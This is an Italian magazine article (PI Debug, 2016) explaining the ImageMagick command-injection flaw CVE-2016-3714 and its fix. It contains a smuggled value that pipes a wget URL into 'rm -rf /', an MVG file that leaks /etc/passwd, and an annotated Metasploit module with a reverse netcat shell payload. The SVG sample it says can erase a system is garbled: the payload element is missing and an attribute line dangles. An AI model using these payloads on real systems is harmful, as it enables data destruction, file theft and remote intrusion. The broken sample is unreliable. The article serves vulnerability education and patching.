PI Debug/ ImageMagick, dalla foto al comando

PI Debug/ ImageMagick, dalla foto al comando

Un errore nel software di conversione della celebre suite innesca l'esecuzione di un comando che realizza un'immagine SVG malevola. E modificando l'estensione, il file può essere inviato anche sui server
Un errore nel software di conversione della celebre suite innesca l'esecuzione di un comando che realizza un'immagine SVG malevola. E modificando l'estensione, il file può essere inviato anche sui server

Come si riconosce un tipo di file? Una volta si usava esclusivamente l’estensione:.txt,.bmp, ecc. Il meccanismo poteva funzionare perché i tipi di file esistenti non erano poi tanti. Oggi come oggi è un sistema inefficace, soprattutto quando si tratta di immagini: esistono talmente tanti formati diversi che la sola estensione del file non è sufficiente a garantire la sua natura, ed è facile che qualcuno possa erroneamente scrivere un’estensione sbagliata. Per identificare in modo inequivocabile un tipo di file si può piuttosto utilizzare il suo magic number . Il “numero magico” è una sequenza di byte che si trova all’inizio di ogni file e che dipende dal formato in cui è stato scritto. Ad esempio, i file tutti.png iniziano con i byte esadecimali 89 50 4E 47 0D 0A 1A 0A . I file JPEG, invece, iniziano con gli esadecimali FF D8. Questo sistema è decisamente valido per un programma, che in questo modo può sapere immediatamente come vada trattato un certo file, ma può generare qualche confusione per gli utenti. È infatti possibile avere dei file con estensione errata, che vengono dunque confusi per qualcos’altro. Una decina di anni fa, sui sistemi Windows, vi fu una notevole quantità di malware realizzati in questo modo: i pirati scrivevano un programma malevolo e poi cambiavano la sua estensioni in.jpg invece che.exe. La finta immagine veniva poi inserita come allegato in un messaggio e-mail e chi la riceveva veniva ingannato dalla sua estensione credendo si trattasse di un’immagine. E bastava cliccare sul file per avviare il programma.


Con un visualizzatore esadecimale si vede che il file non è un PNG ma un SVG

E su GNU/Linux?
Su GNU/Linux non ci sono mai stati casi eclatanti di malware realizzati tramite false immagini che in realtà contengono eseguibili. Anche perché in questo sistema operativo un programma, per essere eseguibile, deve avere il permesso di esecuzione (che di solito di concede con il comando chmod +x ), e quindi un eventuale file malevolo non può comunque essere eseguito senza l’esplicito consenso dell’utente. Esistono però delle possibilità per aggirare questa limitazione: possibilità che ai pirati non sfuggono certamente. Ad esempio, si può trovare un programma che gestisce in modo non corretto (o almeno ambiguo) i file, sfruttandolo per arrivare all’esecuzione di un programma. [Qualche mese fa[/imagemagick-rischio-sicurezza-per-le-immagini-sul-web/; si è scoperto che un programma vulnerabile è [ImageMagick[http://www.imagemagick.org/script/index.php]]: famosa suite di manipolazione automatica delle immagini che ogni utente ha usato almeno una volta sul proprio PC ([Windows, Mac o Linux[http://www.imagemagick.org/script/binary-releases.php]] che sia). Il programma convert , il principale della suite, può utilizzare dei “delegati”, ovvero delle librerie e dei programmi esterni per manipolare le immagini. Il lancio di un programma esterno avviene tramite la chiamata system(); di C++. Ovviamente questo non avviene sempre, ma solo nei casi in cui viene richiesta la gestione di un tipo di file particolare. Ad esempio, immaginiamo un file SVG che sia stato rinominato come PNG. Quando l’utente lo vede, crede che si tratti di un normale file PNG e non si fa problemi a darlo in pasto a ImageMagick. Lo stesso vale per un sito Web che permette l’upload di immagini JPG e PNG sul proprio sito: l’upload viene concesso e l’immagine passata a ImageMagick per la conversione in una risoluzione ridotta per l’anteprima. A quel punto, però, il programma convert legge il magic number, si accorge che il file è in realtà un SVG e comincia a leggerlo. Il formato SVG (o anche il formato MVG) permette l’inclusione di altri file all’interno di un’immagine. Per gestire questi file inclusi, convert chiama un altro programma. Ad esempio, se abbiamo incluso il file http://prova.com/gianni.jpg , nell’immagine SVG deve essere incluso il file indicato da quell’indirizzo Web. Quindi, prima di procedere ImageMagick avvia il comando

wget http://prova.com/gianni.jpg

per scaricare il file e incorporarlo nel risultato. Il problema è che ImageMagick non controlla il nome del file: un malintenzionato potrebbe creare un file SVG che include a sua volta un file del tipo

http://prova.com/gianni.jpg | rm -rf /

In questo modo, il programma convert eseguirebbe il comando

wget http://prova.com/gianni.jpg | rm -rf /

che ovviamente, grazie alla pipe, equivale al comando

rm -rf /

il quale, per chi non lo sapesse, cancella l’intero file system. Ciò significa che costruendo un finto file SVG diventa possibile eseguire qualsiasi comando sul sistema operativo, e sfruttando l’incongruenza tra estensione del file e magic number diventa possibile far passare il file malevolo anche attraverso sistemi di controllo semplici come quelli dei siti Web che permettono invio di immagini filtrandoli soltanto sulla base della loro estensione.

Un semplice file SVG come

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
x="0" y="0" height="640px" width="480px"/>
</svg>

potrebbe cancellare il contenuto di un intero PC o di un server se passato a ImageMagick.

Utilizzando una particolare funzione del formato MVG, invece, è possibile leggere file arbitrari dal disco rigido. Per esempio, il file MVG

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

una volta passato al programma convert induce la produzione di un’immagine con l’intero contenuto del file /etc/passwd . Può quindi risultare utile in ambito locale per ottenere informazioni.

Analisi dell’exploit
È stato rilasciato un exploit che sfrutta questa vulnerabilità per la suite Metasploit:

class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT

Le prime righe dello script si occupano di definire l’exploit e includere le funzioni necessarie a gestire i formati di file.

def initialize(info = {})
'Targets' => [
['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff
],

I target possono essere basati su tre diversi tipi di file: SVG, MVG e MIFF. Nel primo caso il comando che verrà lanciato sarà convert msf.png msf.svg , ovvero la conversione di un file PNG in SVG. Nel secondo caso avremo la conversione di un.svg a.mvg, e nel terzo la conversione di un.svg in.miff.

'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'LHOST' => Rex::Socket.source_address,
'DisablePayloadHandler' => false,
'WfsDelay' => 9001
}
))

Il payload che si vuole utilizzare non è uno shellcode ma un comando di sistema basato su netcat, che verrà iniettato nel file malevolo per ottenere una shell remota.

register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.png'])
])
end

Il file di output sarà msf.png, cioè una immagine PNG.

def exploit
if target.name == 'SVG file'
p = Rex::Text.html_encode(payload.encoded)
else
p = payload.encoded
end

Il suo contenuto, però, viene costruito come un SVG oppure MVG inserendo al suo interno il payload.

file_create(template.sub('echo vulnerable', p))
end
def template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template]
))
end
end

Il file è creato: ora basta ordinare a ImageMagick di convertirlo e otterremo l’esecuzione del comando netcat . La msfconsole di Metasploit dovrebbe fornirci automaticamente un terminale.

La soluzione al problema
Il bug esiste nelle versioni di ImageMagick precedenti alla 7.0.1. Al momento della scoperta del bug, esistevano già alcune patch che limitavano la possibilità di ricorso a programmi esterni, ma non risolvevano del tutto il problema. Alla pubblicazione dei primi exploit, gli autori di ImageMagick hanno provveduto a correggere il codice ufficiale del programma convert per filtrare il percorso dei file inclusi e impedire che possano essere iniettati dei comandi di sistema. Tutte le principali distro GNU/Linux hanno provveduto a inserire la nuova versione come aggiornamento di sicurezza: naturalmente, è importante aggiornare la propria distro soprattutto se si tratta di un server, per evitare possibili attacchi da remoto, oppure se si condivide il computer con molte persone che non prestano attenzione ai file che scaricano.


Sul sito Seclists.org si è discusso della vulnerabilità e di come porvi rimedio

AVVERTENZE
Le informazioni contenute in questo articolo sono state pubblicate a scopo puramente didattico , per consentire ai lettori di conoscere e imparare a difendersi dai pericoli a cui sono esposti navigando in Internet o in generale utilizzando applicazioni affette da vulnerabilità.
L’editore e la redazione non si assumono responsabilità alcuna circa l’utilizzo improprio di tali informazioni , che possa avere lo scopo di violare la legge o di arrecare danni a terzi. Per cui, eventuali sanzioni economiche e penali saranno esclusivamente a carico dei trasgressori.

Link copiato negli appunti

Ti potrebbe interessare

Pubblicato il
18 ott 2016
Link copiato negli appunti